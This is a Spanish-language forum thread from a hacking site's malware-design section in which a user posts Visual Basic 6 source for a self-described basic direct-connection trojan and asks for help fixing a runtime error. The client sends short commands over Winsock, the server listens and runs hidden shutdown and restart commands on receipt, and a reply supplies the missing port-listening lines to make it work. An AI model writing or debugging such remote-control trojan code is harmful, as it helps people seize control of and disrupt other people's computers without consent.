Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: kaskull en 18 Enero 2012, 03:08 am



Título: [Urgente] Ayuda codigo erroneo VB6
Publicado por: kaskull en 18 Enero 2012, 03:08 am
Buenas a todo el mundo.
Porfavor necesito esta ayuda muy urgente. Ize un troyano muy básico de connexión directa, el cual funcionaba y ahora no funciona, me da este error:
Citar
Run-time error '13': Type mismatch en VB 6.0
El error me lo suelta cuando intento conectarme.

El codigo del cliente es este:
Citar
Private Sub Command1_Click()
Winsock1.Close
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = 8721
Winsock1.Connect
End Sub

Private Sub Command2_Click()
Winsock1.Close
Label2.Caption = "Desconnectat"
End Sub

Private Sub Command3_Click()
Winsock1.SendData "apa"
End Sub

Private Sub Command4_Click()
Winsock1.SendData "rei"
End Sub


Private Sub Winsock1_Connect()
If Winsock1.State = sckConnected Then
Label2.Caption = "Connectat"
End If
End Sub

Este es el código del server:

Citar
Private Sub Form_Load()
MsgBox "El troià funciona!!"
Winsock1.Listen
WAClase = "VBE"
End Sub

Private Sub Text1_Change()
If Text1.Text = "apa" Then
Shell "cmd.exe /c shutdown -s -t 1"
End If
If Text1.Text = "rei" Then
Shell "cmd.exe /c shutdown -r -t 2", vbHide
End If
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal RequestID As Long)
Winsock1.Close
Winsock1.Accept RequestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytestotal As Long)
Dim datos As String
Winsock1.GetData datos
Text1.Text = datos
End Sub


Título: Re: [Urgente] Ayuda codigo erroneo VB6
Publicado por: xSundeRx en 6 Febrero 2012, 18:49 pm
proba con esta linea:
Winsock1.Connect "127.0.0.1", "1234"


Título: Re: [Urgente] Ayuda codigo erroneo VB6
Publicado por: xSundeRx en 6 Febrero 2012, 18:52 pm
en el servidor te falta el localport
Winsock1.Close
Winsock1.LocalPort = "1234"
Winsock1.Listen